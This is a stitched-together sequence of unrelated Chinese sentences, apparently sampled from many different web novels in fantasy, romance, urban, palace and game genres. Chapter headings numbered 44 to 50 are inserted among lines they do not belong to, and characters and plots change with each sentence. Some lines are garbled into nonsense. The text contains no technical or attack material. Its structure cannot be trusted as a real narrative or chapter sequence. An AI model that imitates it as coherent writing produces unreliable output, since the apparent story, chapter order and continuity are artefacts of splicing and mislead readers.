唐代的猪都是没有经过阉割的,不像现在的猪一样吃饱了就是睡,再加上没有饲料的问题长得比较细长,一头养了一年多的猪就算是喂的好最多也就二百来斤。
可是出乎意料的是,在离央这一剑横斩而出时,大举冲杀过来的众幽奴,身形陡的凝滞了下来,竟任由青芒剑影将它们都横斩而过。
“你怎么办事的?你不是说来应聘的人都是废物,为什么会有那么厉害的人物出现?”夏宜人气的脖子都红了。
不到5分钟,蓝山咖啡馆门口出现了十几个职场高层,中间众星拱月的正是宁飞鸿,后面跟着的是银江商厦总经理,副总,高管。
宁飞鸿带着宁婉儿已经冲出了后门,只要绕过玫瑰园,就有一道通向外面大路的矮墙。
看着再一次闪现在老远的艾尼路,夏洛特?玲玲怒骂出声,吸取了之前的教训,艾尼路是再也不会和夏洛特?玲玲拉近距离了,老老实实的边缘ob。
“有点意思,不过,我不会与尔等为伍的,想要与我结盟,你们未必有这个资格!”奢比尸看了血圣母一眼,很是不屑的说道。
“嘭”的一声,影子球撞上了使出剑舞的飞天螳螂直接被弹到墙上爆炸了。
温玉蔻因为裙子太过鲜艳飘逸,不得已提起裙角,屏气凝神。那些人越走越近,温玉蔻有些着急,突然只听树枝轻摇,衣袂飘飘,她的腰被人搂住,身体一轻,迅速飞了起来,落在树上隐蔽之处。
我的想法是好的,不过人家妖灵可是及其不情愿的,在郁闷的接受完炮火的洗礼之后,妖灵居然凭空消失在了我们眼前,这孩子,说走就走,让我们几个情何以堪呢。
太难看了,从前那个端庄典雅的样子全都烟消云散,只有痛苦的模样,长留。
他看比赛我没意见,他评论选手说实话我也没有意见,可是这家伙非得拉着我一起看,不看还不行,这一点让我是意见大大的,恨不得直接一脚将他踹飞出去。
吕岳说着说着就有些垂涎于林家那秘术了,毕竟秘术可是很少见的,在他们那儿还没有听说哪个势力拥有秘术呢。
就在炎舞摇头已接受昊天审判,就在昊天欲要判决炎舞死刑的时候,一道红光一现,直向弱水湖泊飞来,昊天手持龙弓,幻化出了蓝箭,直飞炎舞眉心。
第一卷 第44章 肉汤加米饭
“难道还有人与在下一样使用望远镜来观测星空吗?”高荣强问道。
王芳深知左江在哈里波特集团中的超然地位,虽然他是这么说,她那敢撇下他不管呢,为左江他们在中餐厅开了一间最好的包房,并亲自给他们张罗菜肴,抽空还给陶菲和法方总经理戴维打了一个电话。
满府就知晓夏家的事,任静初搀和在其中,惹得二太太动怒。老夫人这样做,是想让任家知道,他们的手伸的也太长了些,更是间接告诉任家她的态度。
“……万岁怎会让你们过来?” 沈钟磬脸色青黑,这个万岁爷,真是吃饱了撑着了。
戴茜急忙说:“没什么没什么!我们欢迎还不及呢!”说着张开臂去拥抱吴迪。
也发觉自己声音有些失控,“……她不会气坏了吧。”看着甄十娘挺直的的背影,沈钟磬心里直后悔,“十娘……”他低叫了一声,搓着两手不知怎么安慰。
“都去歇着吧,我想多泡一会儿。”她吩咐丫头们,“最好你们先吃,回头好腾出时间侍候我。”如果不这样说,丫头们不敢在她前面吃的。
北京的天气十分的炎热,从接机大厅到停车机的距离300多米,走到这儿身上就见汗了。坐进车内顿时清凉了起来,车上的空调开得很足,与外面形成了鲜明的两个世界,左江从车载冰柜里拿冰镇的饮料分给大家喝。
其实仔细捋一捋这个故事的整个过程,你会发现其实人比鬼还狡猾,还可怕。并且,人类掌握了一门独家利器——唾沫。这恰恰暗合了我国lun理哲学上的一道命题:唾沫可以淹死人。
“……怎么会过成这样?”放下行李,沈钟磬终于忍不住问出了一下午的疑惑。
堂堂死亡之神,一袭黑衣,一双黑翼,一柄黑剑,气质高贵冷峻,令人生畏,此时却毫无形象地蹲在地上,一下一下砍着山岩。
冯翳凝聚全身的力量,一拳轰碎第一道劫雷,然后大声对永恒之山山顶另外三个角落里的三人说道。
不过,越是如此,李子圣越是怀疑,这与盐帮私通之物究竟是什么,会让艳红下如此的本钱。
所以,我不知道主人还能坚持多久,只有尽可能的找到能够救他的强大修士。”说着拿眼盯着罗阳,不再言语。
当事人任盈盈,则从被刘一彬惊住的气势中醒了过来,看着张无忌,怎能猜不到事情的原因,微微一怔后,心就有所思了,且,一直以来的一个疑问也似乎解开了。
“什么,秦始皇帝,夏阿房。”众人都是目瞪口呆,没有想到此处竟然是大有来头。
杨承重新运转原力,之前的几招,让杨承消耗较大,但是从结果上来,效果是显著的。这一连串的攻击,在一瞬间就杀了三只狼蜥兽。
有点不适,但在这生与死的较量下,还有什么适不适的。准圣雷大哥都说过‘对待亲人要像春风般温暖,但对敌人就得如严冬一样残酷无情’,更何况我还是一只野兽,野兽吃人,不正是回归本性吗?
这下子到是将周临清给直接难住了,究竟是何缘故,周临清自己也是不清楚。
所以,那时候,她就经常给他买肉回去煮,她喜欢给他做肉吃,他也吃得很开心。
风邪一路往西,穿过一片石林,一片沼泽,一片毒瘴,终于在冷岑所说的位置找到一处营地。这处营地不在幽门之内,只是他们用来训练杀手的基地。
一道修长的影子从暗处缓缓走出,首先出现的是一对闪着磷光的瞳孔,忽闪忽闪的震慑着二人的心神,满身斑点的豹王狡黠地看着他们。
娱乐圈的人大都迷信,剧组开机都要找个黄道吉日,这帮明星对命理之类的学问也非常信服。
广播员是高二的,虽然不认识赵燕,但一眼就看出了赵燕是老师。对于任何一名普通学生来说,在学校里只要遇到老师就要听话,哪怕这个老师不是教你的。
不过既然误会解开了,西瓜林晓棠肯定是要吃的,而且是背着弟弟妹妹们悄悄地吃。
天天顿时脸一黑:“我说你转这话题也转的太生硬了吧!”虽然这样说,天天还是忍不住悲伤了起来,江城说走私和贩卖假药是重罪,那是不是意味着自己永远都见不到主人了。
慕容垂点了点头,深表赞同。在他心中,这尹荡已经是个死人了。
好心好意前来沟通交流,却碰上软钉子,这娘娘腔说话委实令人不爽,要不是师兄们要求和气一点,换做平时,先拆了对方一条腿再说。眼下却只能公事公办了。
司鸿初的头发偶尔擦过紫瞳的脸庞,急促的呼吸带着雄性荷尔蒙的味道,不断掠过紫瞳。
只是,见过蕾姆酱之后,周树对这个无法用肉眼判断性别的世界已经绝望了。
第一卷 第45章 大恩大孝
落羽很想问,不过目前最重要的是,她有内力可以逼毒,但是她爹不会。
我在大塚边上转了一圈,想找一找,有没有石碑,但是可惜的很,根本就没有石碑,连个有字的记载都没,对于那两座黄金白虎,我更想要了解这坐塚里面的人是谁,更关心能不能搞清楚谜团。
莫修远弯腰将头更低了些,一边帮她消毒,一边帮她吹拂着,似乎是在减少她的痛苦。
慕云幽幽的道,当下收了仙剑,双手即刻结出一个大大的“卍”字,随着这个全体通红不断闪现黑色雾气的“卍”字出现后,慕云马上停止了动作,似乎要等待这个“卍”字似的。
艾雯没有感觉门外的动静,正欲跳窗,宁可跌死,也不落到古承达手里。
来者三位超级强者,一场恶战在所难免,甚至比上一次更加惨,毕竟上一次虽然有幽冥教主的参与,但跟他们打的可不是幽冥教主,只是一个神秘护法,这一次却来了三个。
“你早就知道我们会经过这里?”羽微也不‘欲’与轩辕青儿兜圈子,直接开‘门’见山的说道。
直到最高执事长老话剧,顾木才敢直起了身子双手接过最高执事令牌,呐呐的道:“弟子顾木一定完成任务!”本来以为可以拒绝的,现在倒好想拒绝也拒绝不了了只得去做了。
后面的车应该是怕跟丢了,所以这次几乎是紧追不舍,根本就不敢再留下距离。
一诺哭了一会儿哭累了,也不哭了,就这么跟着陆漫漫一起过安检,然后坐着飞机回到了青宁市。
后来,乔沁沁接受了漫长的心理治疗,好了些便回了学校,回学校的第一天,她看到窗外安姪在向她招手。
“别去,危险。”阮萌一把拉住苏菲的手臂,开什么玩笑,现在还不知道熊大能不能认出苏菲呢,再说,就算认出来了,谁知道会是什么态度?万一是对丢弃它的苏菲很是仇恨的呢?
我又赶忙再次喝了一杯,直到肚子都被这两杯水给撑宝后,我才放下手上的杯子往旁推了推。
当萧凡来到监狱外面的时候,他发现沈振邦刚好上车,他立刻上前拦住了车子,对于萧凡的举动,沈振邦的护卫自然是非常的紧张,还好沈振邦出来了。
可是杨杰一见郑晓晓似乎已经原谅自己了,心里觉得越发对不起她,也对不起郑媛,对不起其他的红颜知己。
双方尽皆全力以赴,丝毫没有空闲,一开始,战斗便进入白热化。
其实这个丁力欺负闫娇,还有一个想法,就是还想占闫娇的便宜,以后自己取而代之闫娇的位置以后,还想占有闫娇。
开玩笑,就壮汉长的这幅模样,要不是对方帮她弄回了钱包,她根本不会理会对方。
这明明是一件很危险的事情,但此时心底只剩下想见楚南棠的心思。
但是,那五条凶神恶煞的壮汉会放她们走吗?显然不会,早早就挡到了面前,吓得薛晓桐收敛目光,一着急抓住了何紫嫣的手。
里面有一些比较高雅的运动,比如说高尔夫球,射箭,赛马等等,当然价格也是不菲,极度适合那些喜欢出来装装逼,同时身体也有些松垮的富豪们过来玩。
噗噗——,荡哥的尸体在半空中爆炸开来,化成漫天黑色的、粘稠的、腥臭无比的烟雾迅速的淹没了整个房间。
迷迷糊糊的紫色的雾霭,不是水汽,而是色彩交织成的帷幕,把灯塔下方的景致有意无意地掩蔽。
首次见到这种空间通道,冷雪芯不禁有些失神,目光缓缓的望向通道两旁的那由法阵灵力形成的空间障壁,在那之外,还是毫无尽头的黑暗,谁也不知道在那里,会是何种景象。
“你大字不识一个,你去南边你找谁?”方舅妈拽着方舅舅,死活不让。
银及其厚脸皮地将五河琴里辛苦想出的浪漫点子据为己有,而现在看来,五河琴里令人制造出来的这一幕效果不错,十香喜欢得不得了。
唐川点头,皇甫奇却皱住了眉头,似乎想起了什么,手中随即出现了两丈黄色的符篆。这两张符篆,正是他缴获的,每张符篆之上写着一个“戊”字。
听到这里,他忽然挥了一下手,低着头的子和丑顿即有所感,忙止住不言。
左卫国虽然报名参了军,但公社地工作还没有丢下手,他爹的意思是等那边名单出来,确定了要去当兵了,再把手头的工作交接出去,省得到时候两头空。
然后,只见她在一声低鸣,就在金灵尺上幻出的八只灵兽幻影簇拥下,朝上面激射而去,眨眼间就没入空中重重的云雾中不见了踪影。
“喔,这是瑞草新制的茶,朕还未赐名,原想着花蕊夫人能有过人见解,看来是朕想差了。”保元脸上笑容隐去,他挥了挥手,让人接过我手中的茶罐。
“怎,怎么了?”他们顿时就大为震惊,不知道自己为何会无法动弹。
现在才刚进三月,离秋后问斩的时间还早得很,钟南等不了那么久。
看到对方这个模样,赵康有些犹豫。是直接离开,什么都不买呢?还是黑吃黑,如果对方是黑店,趁机把他抢了。
白术眼神一暗,扶着尹伊的肩,情不自禁的亲吻那片雪白的肌肤。
黑崎真咲原本应该是和志波一心在一起的,可现在这样看来,剧情是完全被打乱了。
“放心吧,我没事的!”苏慕白依旧是这一句不算是安慰的安慰,却让朱熙心中平静了下来。
第一卷 第46章 宁乱认了四个娘
“这没关系!我说过我们供销社里有的东西只要福生用得着,就去拿,什么钱不钱的有没有都没关系!”赵主任拍着桌子说道。
见元娘胃口大开,司马商宜也难得又填了碗,把那剩下的一点酸菜收入碗底,更是照着吃了牛肉和羊肉,这一举动到也引不起人注意。
但是后来,因为古巍然成功的成为帝王,大力扶持云岩商会,顿时云岩商会的天下到来,一举将其他三个商会并入其中,最后凝香商会的会长居然委身于孟华,可以说孟华是创造了前无古人的功绩。
听到莫萧的话,加上平日对莫萧心悦诚服的心里,让他们忘却了刚刚的不愉,这个年轻人最后只能悲剧的成为被时代淘汰的弃子。
林风在学校虽然呆了有一个月的时间,但是却是很少在学校里面。
周围的树木非常茂密。杂草丛生。而且随着慢慢的深入。里面的树木个头也越來越大。前进的道路也变的越來越难。
残月开始后退,后退到达无悔数十丈后。他把手一抬,黑月瞬间拔高几十丈,漂浮在空中,看起来只有一个黑点。
而冰瑶不知道,在就她盘膝闭目的那一刻,这李静的身影如幽灵一般的出现在的门口之处,连气息也完全封锁,根本上没有被冰瑶察觉,而这李静的脸上,露出了复杂之色。
肖飞就不信邪,直接用起庞大的灵识,直接覆盖着周边几万里之地,可是那老者的气息竟然全无,连陈虎破天的气息也消失,心中惊骇万分。
“看来,又是南门那边有情况了!”看到姗姗来迟的系统公告一些玩家猜测说道。
现在夜祭几乎没什么可以搜寻的东西了,四周的杂物明显没有什么搜寻的价值,夜祭也挨个地用手去摸过了,它们都不是道具。
结果刚才充好汉的那两位,没有一致对外,反而自己人和自己人闹上了。
由于熟悉了路径,徐东不必和先前一样穿越老林子,他直接土遁到了琉璃‘洞’,从宝物囊找出阵旗和阵盘,在琉璃‘洞’的两个‘洞’口分别布置了禁阵。
蓦地,在吕天明的正前方有一股强大的气息接近,且杀气惊人,来者正是马泽。
当门缝变大后,并没有如同赫连他们想象一般美好,反而在门缝里面露出来了一只猩红色的眼睛。
周怡点了点头道:“我会的,以后一旦有任何事我第一时间就向你汇报。”周怡倒不介意王诚执掌天上人间,这样一來,他们就有更多可以好好相处的时间。
宾主双方都很客气,但也没谈任何实质性的话题,苏彩儿话不多,只是在一旁陪坐,按理如果是商务谈判的话,也应该是这位大掌柜亲自谈才对,但今天她好像根本没这个意思。
王峰冷哼,他最不怕的就是这个闹身子的重压了,他的力气,绝对是同级之间的最恐怖的存在,这点重量,还算不得什么。
关键时刻,一道身影提前跨出,将那惊叫的老者救下,让人意外的是,出手的竟然是骏马上的领头武者。
听了男子的话,吴昊的瞳孔也是缩了缩,显然也是为男子知道他心中所想而感到极度的震惊。
“你还是先跟我上去喝一杯热的再走吧,我也有事情要和你说。”乔清有些迟疑的说完,也不管他答不答应,转身就走。
宫里许多角落的花朵都已经凋零,树叶也尽数飘落,只剩下光秃秃的枝桠,除了一些四季常青的松柏,便只有在御花园才能见到盎然绿意。
修剪毛边,是有专用的机器的,若是手工,就要拿着矬子一点一点的把猫角修剪完。
乔宋点了点头,清亮的眸子被泪水淹没,看不清他的面容,死死地咬着牙不让自己哭出声。
他在现实里饱受生活的欺凌,在网络世界里却是以欺诈者为目标的诈欺猎手。
“丫头,我去了趟京城怎么说也要给他们家的人带点礼物吧,你别瞎猜了,他们都有份儿的”,赵子弦稳坐钓鱼台,脸不红气不踹地回答,似乎已经找到了克制叶若的方法。
且不说没有了自己顾玲玲该如何与其他人交流,倘若刘兵虎再对顾玲玲起了什么邪念,她能怎么办?
李辰嘴中的一口红酒差点没喷出来。这个老家伙,不带这么开玩笑的。
现在,红月一方占了三席,翔夜的一方有两席,第八席死亡,第十席失踪。。虽然这七人中能力各异,战力参差不齐,但明显的都不是易予之辈,而且很难排险剩余了四席中有怪物级别的存在。
27号不管不顾的冲上前来,故伎重演砍向科恩。但后都却不动声色的一抬手,“嘭”的一声,用两指夹住了斧刃。
并且周美凤也不愿意走上邪门歪道,所以她很珍惜肖逸飞给她的这个机会。
一个将死之人怎么会突然爆发出这么强的战斗力?斧手男望而生畏,心中产生了退意,但是他知道张破一定不会放过自己,与其这样,不如自己先发制人,趁着张破闭目之际栽了他。
希尔巴贡后退一步,暴躁的吼叫着,似乎是充满了不耐烦,继而目光凶狠的看着希尔顿隆,居然是有了智慧的怪兽。
史学家推测,雕刻有”狍魈“的那些青铜器,是祭祀恶灵的专用器具!只有巫师能用!施咒盛放人牲的鲜血。古人认为灵魂在血液中,所以他们依次来祭祀“狍魈”也倒是合情合理。
男子见到这些“人”的反应后,好像感觉特别满意,一把抓起桌子上几个血淋淋的心脏,朝着这些“人”扔了过去。
第一卷 第47章 小姨的哮喘症
“什么??”陆青一下子就从沙发上站了起来,脸色微变的看着姜洛尘。
绯尔点了点头,打开了工具箱,从里面拿出了一把大号的手术刀,递给了铎芳。
孤儿院的院长看到姜父彻底发怒的样子,也没有在说什么,也不敢再说些什么了,姜父在姜氏担任总裁这么多年,上位者的威严还是在的,而且……一般人根本就不敢招惹。
就在兽王与半人马僵持着谈话的时候,战熊米莎发出了震耳的吼叫声,浑身闪着红光的她一步一步地从岩石后面走了出来。
刚一出门,还没走多远,他就看到电脑上漆黑一片的屏幕,就算是彻底拔了网线也没有用处。
王吉利看着东方臣怒火冲冲地离开了,他这才松了口气。他暗自擦了擦汗,天知道他这个院长夹在里面有多为难。
不过好在前面积累的次数够多,大约在第九轮的时候,总算是凑够了20次双靶。
他就像打桩机似的,直到把这裁缝基佬给踢得再起不能,才最终意犹未尽地停了下来。
而本来趴在地上假寐的黑粒听到薛亮的声音,有意无意的睁眼看了一眼。
“呵呵,现在时间不多,我必须去追赶我妹妹了,不过我倒是很期待与你们再次相遇。”陈况笑道,他挥手告别,在阶梯上留下残影。
莫远山愤怒地大吼道,大手对着韩岳重重地拍下,他的表情凝重,仿佛他的右手重逾万斤一般,动作慢到了极致,但是随着他的手掌拍下,整个虚空都是震荡了起来,仿若要破碎了一般。
整个拍卖场都是一片静寂,鸦雀无声,没有任何人开口竞拍,仿佛陷入了冷场当中,不是这凌云丹不够吸引人,而是太吸引人了。
“他在恒古学院,给我提鞋都不配,我叫纳兰权,不败党的领袖。”纳兰权听到黄正的名字就咬牙切齿。
倘若靳祈言没给她任何的保障,就连一句“我爱你”都没有,她是不想再傻了。
陈潮生眉宇深蹙,直接把她打横抱了起来,聂明蓉猝不及防间一下死死抱住了他的颈子,她这样忽然贴过来,身上馥郁的香味扑面而来,陈潮生不由得呼吸就乱了几分。
吴青早已跟长孙允通了气,知道了这次长孙墨的行动,若是从前,长孙允不会这样没有自信,可是如今自己的手臂用不上力气,若是万一斗起来时落了下风,致使夏梦凝受了伤可就大不好了。
她从房间出来时,陈潮生盯着她看了好一会儿,那眼睛里的惊艳和欣赏,还是让聂明蓉生出了几分的愉悦的。
刘邦打头骑着马,走远了还不时回头笑呵呵的看看跟在他身后的那两位美娘子。韩信却笑了。
世界是变了,但老爸还是老爸,那份关爱与呵护是如此的相似,科学世界的自己,躺在病床上整整三个月,言爱国虽然不经常与自己沟通,但这三个月里,他原本漆黑的头发全都转变成了灰白。
再说了,自己不在家,好多事情都靠大哥大嫂,给点钱怎么了,他们两家每次回村都还会带礼物给大哥一家呢。可以说就算他们分家了,彼此之间的感情也没有减少。
本来齐国强已经拉开了车门,听到这话的时候,手都是一哆嗦,他这辈子都没有坐过几百万的车,刚才还不在乎,现在他感觉拿着门的动作都有些生硬。
赖床了一会儿,他从床上一跃而起,换下了那件过分醒目的衣服,简单地完成洗漱。
电光火石间,仅是短短的两分钟过去,就灭杀了十几头,而这十几头之中,爆出灵兽晶核的,也只有一头。
送走了五位古老的壳人族战士,布莱特和伊泽瑞尔重新走到华丽棺椁前,继续进行布莱特最爱的“分赃”环节。
“您也在魔都?奥,对了,那学员的史老头也成了当时魔都大学特招生面试教授,您跟史老头是不是也认识?”言墨狐疑的问道。
审讯室中心摆放着一张木椅,程羲和被要求坐在上面,他的面前是双手交握,肌肉收紧摆在桌上的莫寒松和郑方。
片刻后,沃里克动了,他从阿利斯塔背后的一个视觉盲区,猛地蹿了出来。锋利的爪子,亮起森寒的光芒。
随着林宇泽的一声唤,林暖暖颇有些不好意思地低头走至林宇泽的身边。
“说什么屁话,最主要的还是你得混出头,不然别说跟阿墨是兄弟。”余森看不得这样的画面,佯怒骂道。
如果自己一意孤行的话,要是真的气坏了方霂林的身体,那也麻烦了。
我下意识的伸出手去抓住自己的脑袋,想要依次减少一些自己的痛楚,可是却没有想到,我手触碰到的地方,越来越疼,越来越难受。
可是,神兽洞里只有我……还有就是冥雪兽了,这个声音一定是冥雪兽发出来的无疑。
他顿住脚步,一脸歉意地看着楚相思,在床前缓缓坐下,却未开口,只是静静地凝视着楚相思,那张苍白无血色的脸,她脸上的每一丝表情他都不愿错过。
天亮以后,莫乔衣传来了一封传讯符,说她已经先走了,让他们不用担心。众人放下了悬着的心,也打算回程了。
在休眠状态的期间,般若虽然好似昏迷一般。但是实际上,般若的感觉全部都在。也就是说,般若她是知道外界发生的一切的。
其实整个甲板都是舞台,彩灯在旋转着,到处都是戴着面具的人,已然看不见刚才那一条身影了。
二工多久,和尚带着他弄下的人马,骑着坐骑斟卜了卞刀甘省老妖的玩家。
第一卷 第48章 鹰嘴山匪寨
“儿臣不敢生父皇的气,父皇不归还儿臣实权,一定是有父皇的打算,儿臣怎么敢生父皇的气呢。”霍凌霄体谅皇上。
寒东琅瞅着她娇嗔可爱的模样儿,最大的火气也发不出来了,挽着她的胳膊出去用膳啦。
当然那也是因为甄念双不在,如果她在的话,就可以看到到一个八品炼药师,是怎么一次性把药材全部提取出来的,他们提取的时候,可要比他们更加厉害。
柳眉扫了他一眼,喉头干的如同火烧一般,接过灌了大半杯,她靠在床头里,端着的半杯水没放下。
甄念双苦笑着:“我的母亲爱上了外族人……”剩下的不说北宫紫薰也明白,北宫家肯定是把人带回去了,只把孩子留下。
沐然回忆着之前跟着鬼医学过的医理,可当时学的不精,也没接触过这方面的,沐然精神力紧绷,情绪也开始不受控制了。
换句话说,对于美杜莎而言就算是挑选原胚,他李法也不会是优先选择的目标。如果不是因为来自猎人那边的压力,放在以前他这种素质的原胚只怕送上门来,蛇姬都未必能看的上。多少处于一种,可用可不用的尴尬状态。
“刚好要给皇上送茶,走,过去瞧瞧!”瑶贵妃心中已经繁衍了阴险的计谋。
寒东琅瞅着天真无邪的寒晨星,琢磨着单纯就是好,连笑容都是那么纯真无邪的哩,自己该不该道出心里的忧虑呢?
察觉到异样的织迅速将便笺塞回胸中,横执虞帝匕首猛然抬头望去。骤见身前的灯柱之上,竟站着名身披黑色长袍,头戴软边礼冒的高瘦男子。
项羽看着这俩活宝也不知道该说啥好了,那就走吧,别当电灯泡了。
虽然范雨欣也很好,绝世美人一个,但男人有哪个管得住下半身的?
“姐夫!”袁晴看见项羽就好像看到救星一般,莫丽能坚持到现在多亏了项羽追回的解药和试验之法。
林凡和琪雅对视了一眼,这个时候他们根本没有退缩的可能,只能疯狂的调动自身的力量,跟对方拼一把。
“你是说,沙漠下方的军事基地周围,有着和城区上空的‘净化层’一样的防御力场么?”万磁王说道。
“妈错了,妈错了……”接下来传来的全是李丽妈的哭声,和道歉的声音。
“什么”两字还没有说出口,就见周凡将刚才打碎的半截酒瓶往他嘴里插了进去。
没想到重生后不仅仅把所拥有的记忆带了过来,连这种佣兵才会有的疾病也带过来了,不知道该说幸还是不幸,但是是福不是祸是祸躲不过,总会有办法的。
再次确认这黑衣人身上已经没有任何东西后,宋晨施展开八步赶蝉,飘飘然的离开了。
她万里迢迢从燕京赶过来,已经算是退让了,没想到叶辰还如此咄咄逼人。
尽管海参是软体动物,路青这次带下来的,也是大号的网兜,但由于梅花参的个头太大了,只装了四只,就已经塞满整个网兜,再也装不下了。
浓云遮蔽了弯月投下的最后一抹微弱的光芒,雾气渐渐涌上,让阴暗的夜色多了一些诡秘不明。世界陷入黑暗的统治中。不时乌鸦叫声划破夜空,沙哑,凄厉。
乌太帝君不过是一位不朽帝君,在帝君当中只能算是中等,毕竟,上面还有准永恒和永恒帝君。
“我的对手不是阿修罗,是你。”石头大叫一声,然后控制着能量球向着药三省制造出来的结界打去。
晨星工造并不清楚人质具体被关在了什么地方,但是根据他们在城内采购的粮食的数量来看,所有人质,起码大部分人质都被关在了这里。
乌斯确实不是在和他商量,也不是在和他做交易,乌斯是为了龙族好,才这么和他说。
盘古剑上的力量突然爆棚,一道光柱直通天际,形成了一把巨大的战剑,仿佛是要把整个空间都要劈成两半一般。
蛋痛的滋味,不是一般人能够想象的,张天顿时趴在了地上,不断的打滚。
一拳轰出,整个虚空仿佛都要颤抖了起来,直接迎上了千魂道人的手掌。
萧语柔的话让在场众人齐齐大惊失‘色’,顾筝这才明白萧语柔方才为何频频看她,只是和梁太夫人等人相比,顾筝却是一脸镇定、无丝毫惊慌。
他手上紫电剑一下子爆发出来,一道道粗大狂暴紫电,噼里啪啦闪烁在紫电剑,惊人气息,比一等法器威力还要惊人。
于匈奴,关于朝廷,关于天下的思考讨论就常常在一些场合出现。
哎呦喂……这么直截了当地在她面前拿乔还是第一次么~这是……变天了吗?
“什么!你们竟敢直接叫我的名字?不知道我是你们老大嘛?还有,我认识你们吗?”昊天明一脸严肃的说道。
千颂依雪自然不会说,千颂家已经将富士石松和松本二田,扔到郊外去了。
“为什么不早些告诉我们?”林沐沨望向温馨的眼神,隐隐有些责备。
林飞当时问过萧凌卡里金额,萧凌回答不多,不过在林飞看来,萧凌说的不多,未必真的是不多。
这是一个乞丐,有些人就纳闷了,为什么在流行之都,繁华的瑶台市还有乞丐的存在呢?不管是什么地方,都是会有乞丐的。现在的乞丐已经不单单是要饭那么简单了,现在的乞丐已经成为了一种职业。
第一卷 第49章 匪寨活爹叶红缨
而且他一向喜欢的跑车,竟然因为座位问题输给了一辆看上去破破烂烂没有一点牌面的黑色轿车?
那个于领班眼中闪烁着不忍的神情,终究没有说一句话,只是叹息了一声。
忽然,桃花大喊了一声,隔壁吃饭的徐冰涵与李珍立刻起身,跑进来。
山上丛林密布,而且面积这么大,想要找到骷髅会的总部还是比较困难的。
已经离开的莫真人几人,见状不妙目呲欲裂,这个该死的家伙,居然敢动手?
三人之中,只有秦朗还保持着之前的风度翩翩,蔡菲菲发丝凌乱,衣服上更是到处都是口子,而蔡荣最惨,到现在鞋子都没找到。
慕迟曜看着她,目光像是能直望到她内心深处一样,言安希顿时有些心虚,连忙移开了目光。
这妞每天摇摇摆摆的走进去,然后又摇摇摆摆的走出来,前后唯一的区别就是:进去的时候面若菜色,出来的时候两唇红肿,眉眼带春。像是那妖精吃了唐僧肉一样的,容光焕发。
秦朗没想到王莽能够在如此短的时间内就收集到如此多的神石,办事效率如此之高。
他都不知道发生了什么事,一觉睡起来,那些平时比他还娇气的公主府男宠们就已经在院子里打成一团了。
“我就喜欢抢你的东西!”乾瑶的双脚落在地上,通体气息爆发,满头青丝飞舞,体内有一阵阵排山倒海一般的能量,爆涌而出,挤满这片天地。
也不叫程老师,那样显得生份,更不可能叫妈妈,没到那个份上,那就随孩子们叫奶奶最适合不过。
又不能说“你们别去,让我去吧”,开玩笑,以他们的修为和智谋,只怕一下去就被绞碎成渣了,帮不上忙还平添两具尸体,遑论拿回神器完成任务。
此时某个不知名的大殿里,不少黑衣人跪倒在地上,浑身战战栗栗,至于大殿的最深处,一个高大巍峨的影子矗立,看不清面容,但是溢出的能量让下方的人匍匐不已。
舒听澜却笑不出来,不管她与嘉佳有何恩怨,在卓远科技这个项目上,她希望进展顺利。只是她也不明白,向来谨慎的肖主任,为何会派嘉佳去?论交际能力,并购组里高级别律师并不比她差。
带着死气和寒意的一句话,夹着惊天动地的气势,强行撞入特别战队队长的耳膜内。
虽然九悠因祸得福,得到了全新的灵体,但是她这份想要保护他的赤子之心,是他怎么都偿还不了的。
就在他惴惴不安的思索自己该如何脱困的时候,目光瞥见了不远处走过去的几人。
她自己本来省吃俭用的所有积蓄,也全部都砸进了医院的无底洞当中。
她甚至有些怀疑,近几年来,她的修为一直停滞不前,或许就跟这股神秘力量存在着某种密切的联系。
通天教主径直的走进了第一家商铺里面,清冷的灯光之下,一个白发苍苍的老者,正在面对着一张铺在桌子上的白纸发呆。
绝美的容颜让所有人惊艳,清冷的气质让人不敢靠近,那眸中的悲悯和淡泊更是让人感到害怕。
月知恩站在舱门外,他深深的呼出一口气,旋开舱门,走了进去。
秦越微微一愣,但是考虑到她的特殊性,没有多说,百战圣殿的确很需要这种人的加入特别是前期,但是对她的警惕性提高。
虽然父亲的样子和他记忆中的样子大相径庭,但是月知恩,还是一眼就认出了自己的父亲。
被人直白的拆穿,安欣先是一震,看到众人难以置信的看着自己,面色有些发白。
神医技能确实是林凡最为强大的技能之一,毕竟可是消耗了最多的强化点才得到这个级别。
龚梦飞医疗事故的后续进展,也确实如佳蓓所预期的那样,在与患者家属达成赔偿协议后,这件事情也就基本告一段落了。
稻花刚冒出的心思就这么被无情的镇压了,随即狠狠瞪了一眼自家四哥,要不是他将蛋糕拿过来,她现在至于这样吗?
董助理与招父之间的关系,其实她们都能猜到,只是没有人说出来而已。
上一次红发成功了,还是趁着海军总部与百兽海贼团大战,才有机会成功的,不然很难成功,而现在四皇全都在新世界,其余海贼去入侵推进城,那更加没可能。
“按在这里估计就可以了吧?哼,俊杰欧巴,把咱们俩的好事录下来,我看你还怎么甩掉我。”视频里,余雯没羞没臊地自言自语。
赤红的鳞片上,噼啪作响,闪烁着电弧,叠加了雷帝的力量,已经是三大形态融合。
龙飞不动神色,身上的气息开始攀升,太虚一重境的气势爆fā 出来,但依旧还在攀升,直接破开太虚一重境的枷锁。
而且,听夙容的口气,这家人连他们皇室都有些敬畏,不敢轻易开罪,仰仗他们的支持,一直努力地保持势力平衡,可见自己还是不要和他们有牵扯为好。
“逃出去——”眼中一亮,每一个玩家都想要逃出游戏,脱离这炼狱的世界,只是话是这么说,但是想要逃出去却没有那么容易。
但是,聂天心惊,骆华又何尝不心惊,刚刚一战下来,骆华几乎确定,聂天只是一个天象七重的青年,然而,一次碰撞,却与自己战成这样。
就在三个混混揪住白一烽的衣领,想要给他第三个巴掌,并且在他的手背上烫下一个烟花的时候,黄叔叔黄勇风尘仆仆地冲了进来,与三个混混扭打起来,一如他周旋在猛兽中时一样的勇敢无畏。
况且在他看来,奥菲斯这个祸之团的首领根本就是个吉祥物,是一个象征性的存在,而且他们也不需要奥菲斯的蛇,所以对方离不离开也没什么关系。
尽管知道晓古城是第四真祖,无尘还是想要刁难一下南宫那月,监视人可以,但总需要一个理由吧。
第一卷 第50章 叶红缨下山
我骨翅猛扇,身体堪堪在变异蝎子王的铁钳临身前朝后飞去,粘满了晶核的蛛丝就像镶嵌满了各色宝石的玉带一般诱人,我就这么一手抓住大青一手抓住这束蛛丝朝着远处飞。
风无情一怔,白池都是一愣,显然没有想到侄儿会突然放过眼前这位情敌?这还是他的侄儿吗?居然主动要救风无情?
修界之中一直都有传闻萧让并没有被离中天杀死,而是藏在万妖谷之中,直到一个月之前消失了三年之久的离中天重现修界,才终于证实了这个震撼无比的消息。
苏拓队正处于悲痛之中,听到这话,一点就爆,唐音队的人冷笑着,阴阳怪气道。
